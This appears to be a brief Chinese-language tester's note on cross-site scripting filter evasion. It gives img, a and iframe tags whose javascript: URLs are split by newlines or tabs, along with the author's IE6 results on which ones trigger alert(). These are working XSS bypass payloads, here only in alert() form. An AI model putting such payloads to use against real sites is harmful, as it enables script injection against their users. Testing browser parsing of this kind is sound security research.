看这段代码:
<img src="java
script:alert(1)">
<a href="java
script:alert(2)">
<iframe src="java
script:alert(3)">
*注意上面src和href属性中的换行,测试中,换行可用tab替换
在IE6下测试:
先弹出了3,再弹出1,,,2没有弹出(弹窗顺序问题可参考w3school)
可以看出,在IE6下,src属性中允许回车换行或Tab的存在,href属性则不支持
但在下面的例子中,也是不会弹窗的
<img src="#" οnerrοr="java
script:alert(1)">
目前就测了这么多